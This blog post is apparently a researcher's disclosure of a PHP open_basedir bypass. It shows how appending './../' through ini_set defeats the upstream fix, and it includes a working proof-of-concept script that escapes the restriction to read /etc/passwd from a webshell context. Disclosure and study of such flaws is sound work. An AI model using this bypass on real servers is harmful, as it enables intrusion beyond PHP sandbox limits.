PHP open_basedir bypass

PHP is a really powerful language, and as a wise man once said, with great power comes great responsibilities. There is nothing more frustrating than obtaining a remote code execution and be restricted by open_basedir and disable_functions, preventing us from reading etc/passwd or turning it into a remote shell. Let’s focus here on the former.

The directive open_basedir can be set in the php.ini file, and prevents PHP from reading file beyond a defined scope. For instance, if it is set to /var/www/html/myapp, trying to execute file_get_contents("/etc/passwd") should miserably fail. One could consider it as a security measure, but this is not everyone’s opinion. Let’s suppose now that an attacker managed to upload their webshell on a server where open_basedir is enforced, and exec-like function disabled. How to read /etc/passwd, then ?

It is quite well known that having the ability to call ini_set at runtime could lead to an open_basedir bypass. The latter is defined in a ini file but can be tighten at runtime, meaning that we can programmatically add more directories to the directive as long as they are sub-directories from the first one. For instance, if chevre is a child of /var/www/html/myapp, one can add it in the directive:

1
open_basedir=/var/www/html/myapp:chevre/

but trying to add /etc is forbidden.

To do so, the attacker first needs to create a sub-directory and to move into it (let’s assume we are in /var/www/html/myapp, and the latter is writeable. Let’s also assume that open_basedir is set to /var/www/html/myapp, preventing it us from reading/writing in upper directories):

1
2
3
<?php
mkdir("dindon");
chdir("dindon");

Now, once the execution context has moved to the directory /var/www/html/myapp/dindon, we can refer to the parent directory by appending ../. Indeed, since this ../ would refer to /var/www/html/myapp, the path would still belong to the already restricted path, and thus be allowed, leading to the following directive:

1
open_basedir=/var/www/html/myapp:../

Once done, we can simply move upper, and reach the Holy Grail:

1
2
3
4
5
6
7
8
9
<?php
mkdir("dindon");
chdir("dindon");
ini_set("open_basedir", ini_get("open_basedir").":../");
chdir(".."); //now we are in /var/www/html/myapp
chdir(".."); //now in /var/www/html
chdir(".."); //almost there, we are in /var/www
chdir(".."); //one step more, we are in /var
chdir(".."); //yay, we landed in /

The issue was reported https://bugs.php.net/bug.php?id=76359, and as someone wrote:

Indeed, this is not a security issue according to our classification[1].

[1] https://wiki.php.net/security

Hmmm, still, the issue was patched, but still disputed, considered as a misused directive instead of a real bug (https://github.com/php/php-src/pull/7024).

I was peacefully working on a PHP tool to bypass disable_functions directive, with the desire to first bypass open_basedir. It was PHP 7.3.29 and the bypass was working like a charm. But when it came to run it on a VM with PHP 8.1, it failed. I was indeed not able to append ../ to the directive. Quite frustrated, I took a look at the issue, and then at its patch:

bypass fix

One can see here that the code checks whether the 1st and 2nd character are dots, and that the 3rd one is either a null or a slash. But what if the 2nd character is a slash, with a path being something like './..' ?

Indeed, I changed my payload to something like:

1
2
3
4
5
6
7
8
9
<?php
mkdir("dindon");
chdir("dindon");
ini_set("open_basedir", ini_get("open_basedir").":./../"); //here, prepend with ./
chdir(".."); //now we are in /var/www/html/myapp
chdir(".."); //now in /var/www/html
chdir(".."); //almost there, we are in /var/www
chdir(".."); //one step more, we are in /var
chdir(".."); //yay, we landed in /

and landed into / :smiley:

I then wrote a small PoC and tried it on a Docker running PHP 8.2.2RC1.:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
function read_etc_passwd(){
$content = @file_get_contents("/etc/passwd");
if ($content !== false){echo $content;}
else {echo "Nope, /etc/passwd not readable".PHP_EOL;}
}
echo "Running PHP version ".PHP_VERSION.PHP_EOL;
read_etc_passwd();
$path = "a/b/c";
$here = getcwd();
if (mkdir($path, 0777, true)){
chdir($path);
ini_set("open_basedir", ini_get('open_basedir').":../../../");
chdir($here);
echo "open_basedir directive is still ".ini_get('open_basedir').PHP_EOL;
read_etc_passwd();
}

$path = "d/e/f";
if (mkdir($path, 0777, true)){
chdir($path);
ini_set("open_basedir", ini_get('open_basedir').":./../../../");
chdir($here);
echo "open_basedir directive is now ".ini_get('open_basedir').PHP_EOL;
read_etc_passwd();
}
?>

And the result was as follows:

bypass fix

The issue was reported here and I guess that it will not be considered as a security issue. But still, does it really make sense to allow dot-dot-slash in such path ??